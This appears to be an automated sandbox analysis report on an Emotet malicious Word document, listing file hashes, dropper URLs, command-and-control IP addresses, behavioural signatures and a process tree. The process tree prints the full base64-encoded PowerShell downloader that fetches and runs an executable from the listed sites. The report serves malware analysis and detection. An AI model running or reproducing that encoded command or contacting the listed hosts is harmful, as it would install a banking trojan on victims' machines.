emotet | 8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28

General

Target

emotet_e3_8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28_2020-07-28__192059._doc.doc
Size

169KB
MD5

ddad3a37c0baf5a29ca82714192d633a
SHA1

abf92157c3674f7523669579fb83b2936de887b9
SHA256

8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28
SHA512

68bfa0abca5e93d43be987277469f643a89159e2d10fc31bbbe507486f02555151417ce8c29fffa51024e7cd039a7854992be34823ef68762b21bf828a36062c

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

http://w3art.com/dtla/bBmTEkbPK/

exe.dropper

http://www.stempora.com/@mer/ybV/

exe.dropper

http://sundaystudio.net/cgi-bin/bzsvy9778486/

exe.dropper

http://sujest.com/BL/nQsQRv/

exe.dropper

http://studiotoybox.com/common/qezZSZB/

Extracted

Family

emotet

C2

177.37.81.212:443

74.207.230.187:8080

190.164.75.175:80

87.252.100.28:80

105.209.239.55:80

163.172.107.70:8080

37.208.106.146:8080

24.157.25.203:80

212.112.113.235:80

140.207.113.106:443

75.139.38.211:80

192.210.217.94:8080

46.49.124.53:80

75.127.14.170:8080

87.106.231.60:8080

139.59.12.63:8080

181.167.35.84:80

201.214.108.231:80

74.208.173.91:8080

189.146.1.78:443

rsa_pubkey.plain

Signatures

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.

Processes:

powersheLL.exe

description pid pid_target process target process

Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process 3460 816 powersheLL.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powersheLL.exe

description pid process

Token: SeDebugPrivilege 3460 powersheLL.exe
Executes dropped EXE 2 IoCs

Processes:

920.exeWindows.ApplicationModel.LockScreen.exe

pid process

3980 920.exe
3372 Windows.ApplicationModel.LockScreen.exe
Blacklisted process makes network request 1 IoCs

Processes:

powersheLL.exe

flow pid process

17 3460 powersheLL.exe

description	pid	pid_target	process	target process
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3460	816	powersheLL.exe

description	pid	process
Token: SeDebugPrivilege	3460	powersheLL.exe

pid	process
3980	920.exe
3372	Windows.ApplicationModel.LockScreen.exe

flow	pid	process
17	3460	powersheLL.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

920.exe

description	pid	process	target process
PID 3980 wrote to memory of 3372	3980	920.exe	Windows.ApplicationModel.LockScreen.exe
PID 3980 wrote to memory of 3372	3980	920.exe	Windows.ApplicationModel.LockScreen.exe
PID 3980 wrote to memory of 3372	3980	920.exe	Windows.ApplicationModel.LockScreen.exe

Emotet Payload 2 IoCs

Detects Emotet payload in memory.

Processes:

resource	yara_rule
behavioral2/memory/3980-10-0x00000000005B0000-0x00000000005BC000-memory.dmp	emotet
behavioral2/memory/3372-13-0x0000000000700000-0x000000000070C000-memory.dmp	emotet

Drops file in System32 directory 1 IoCs

Processes:

920.exe

description ioc process

File opened for modification C:\Windows\SysWOW64\KBDIC\Windows.ApplicationModel.LockScreen.exe 920.exe

description	ioc	process
File opened for modification	C:\Windows\SysWOW64\KBDIC\Windows.ApplicationModel.LockScreen.exe	920.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

WINWORD.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Suspicious use of SetWindowsHookEx 13 IoCs

Processes:

WINWORD.EXE920.exeWindows.ApplicationModel.LockScreen.exe

pid	process
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
4028	WINWORD.EXE
3980	920.exe
3980	920.exe
3372	Windows.ApplicationModel.LockScreen.exe
3372	Windows.ApplicationModel.LockScreen.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

Processes:

WINWORD.EXE

pid process

4028 WINWORD.EXE
4028 WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

Processes:

powersheLL.exeWindows.ApplicationModel.LockScreen.exe

pid	process
3460	powersheLL.exe
3460	powersheLL.exe
3460	powersheLL.exe
3372	Windows.ApplicationModel.LockScreen.exe
3372	Windows.ApplicationModel.LockScreen.exe
3372	Windows.ApplicationModel.LockScreen.exe
3372	Windows.ApplicationModel.LockScreen.exe

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_8b8a580cd020e0bd0471666b6354c24211f043403e1924ae8ae94c1b0a630c28_2020-07-28__192059._doc.doc" /o ""
1⤵
- Enumerates system info in registry
- Checks processor information in registry
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: AddClipboardFormatListener
PID:4028

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABZAFUATgBDAEwAbABoAHgAPQAnAEUASQBBAFYARQB2AHgAdgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBzAEUAYABjAGAAVQBSAEkAVAB5AGAAUAByAE8AdABvAGAAYwBPAEwAIgAgAD0AIAAnAHQAbABzADEAMgAsACAAdABsAHMAMQAxACwAIAB0AGwAcwAnADsAJABSAE4ATgBZAEoAawB4AG8AIAA9ACAAJwA5ADIAMAAnADsAJABXAEYAVQBQAEMAZQBnAHMAPQAnAFkATgBTAEIATgBwAGwAcwAnADsAJABBAEsAWgBUAEkAdQBkAHYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAJwBcACcAKwAkAFIATgBOAFkASgBrAHgAbwArACcALgBlAHgAZQAnADsAJABYAFkATgBNAEwAcwB6AG0APQAnAFcASgBSAEEATwBtAG8AcwAnADsAJABIAEMARwBPAEgAagB2AGkAPQAmACgAJwBuAGUAdwAnACsAJwAtACcAKwAnAG8AJwArACcAYgBqAGUAYwB0ACcAKQAgAE4AZQBUAC4AVwBlAEIAYwBMAGkAZQBuAHQAOwAkAFEATwBQAFMAWAB3AHkAZwA9ACcAaAB0AHQAcAA6AC8ALwB3ADMAYQByAHQALgBjAG8AbQAvAGQAdABsAGEALwBiAEIAbQBUAEUAawBiAFAASwAvACoAaAB0AHQAcAA6AC8ALwB3AHcAdwAuAHMAdABlAG0AcABvAHIAYQAuAGMAbwBtAC8AQABtAGUAcgAvAHkAYgBWAC8AKgBoAHQAdABwADoALwAvAHMAdQBuAGQAYQB5AHMAdAB1AGQAaQBvAC4AbgBlAHQALwBjAGcAaQAtAGIAaQBuAC8AYgB6AHMAdgB5ADkANwA3ADgANAA4ADYALwAqAGgAdAB0AHAAOgAvAC8AcwB1AGoAZQBzAHQALgBjAG8AbQAvAEIATAAvAG4AUQBzAFEAUgB2AC8AKgBoAHQAdABwADoALwAvAHMAdAB1AGQAaQBvAHQAbwB5AGIAbwB4AC4AYwBvAG0ALwBjAG8AbQBtAG8AbgAvAHEAZQB6AFoAUwBaAEIALwAnAC4AIgBzAGAAUABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEUARQBLAFkARgB0AGQAeQA9ACcATABIAE4ARwBTAGQAeQB4ACcAOwBmAG8AcgBlAGEAYwBoACgAJABYAFcAQwBZAEIAbABrAG0AIABpAG4AIAAkAFEATwBQAFMAWAB3AHkAZwApAHsAdAByAHkAewAkAEgAQwBHAE8ASABqAHYAaQAuACIAZABPAGAAVwBuAEwATwBgAEEAZABgAEYAaQBMAGUAIgAoACQAWABXAEMAWQBCAGwAawBtACwAIAAkAEEASwBaAFQASQB1AGQAdgApADsAJABWAEsAVQBCAFEAcABsAGoAPQAnAEwAWQBaAEcATQB1AHoAaAAnADsASQBmACAAKAAoACYAKAAnAEcAZQB0AC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEEASwBaAFQASQB1AGQAdgApAC4AIgBsAEUAYABOAEcAdABoACIAIAAtAGcAZQAgADMAMAA1ADAAMQApACAAewAoAFsAdwBtAGkAYwBsAGEAcwBzAF0AJwB3AGkAbgAzADIAXwBQAHIAbwBjAGUAcwBzACcAKQAuACIAYwByAEUAYABBAGAAVABFACIAKAAkAEEASwBaAFQASQB1AGQAdgApADsAJABaAFMAVQBJAE0AZABuAGUAPQAnAFEAUgBPAEIAUQBtAHMAaQAnADsAYgByAGUAYQBrADsAJABDAE4AVgBNAFYAawByAGEAPQAnAEYAVQBTAEgATABwAGsAeAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABCAEIASQBZAEQAbABnAHQAPQAnAFgAVwBJAFQAVQBtAGQAZQAnAA==
1⤵
- Process spawned unexpected child process
- Suspicious use of AdjustPrivilegeToken
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
PID:3460

C:\Users\Admin\920.exe
C:\Users\Admin\920.exe
1⤵
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
- Drops file in System32 directory
- Suspicious use of SetWindowsHookEx
PID:3980

C:\Windows\SysWOW64\KBDIC\Windows.ApplicationModel.LockScreen.exe
"C:\Windows\SysWOW64\KBDIC\Windows.ApplicationModel.LockScreen.exe"
2⤵
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
- Suspicious behavior: EnumeratesProcesses
PID:3372

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\920.exe

Download Submit
C:\Users\Admin\920.exe

Download Submit
C:\Windows\SysWOW64\KBDIC\Windows.ApplicationModel.LockScreen.exe

Download Submit
memory/3372-11-0x0000000000000000-mapping.dmp

Download
memory/3372-13-0x0000000000700000-0x000000000070C000-memory.dmp

Filesize
48KB

Download
memory/3980-10-0x00000000005B0000-0x00000000005BC000-memory.dmp

Filesize
48KB

Download
memory/4028-3-0x0000027CD15B4000-0x0000027CD15B5000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads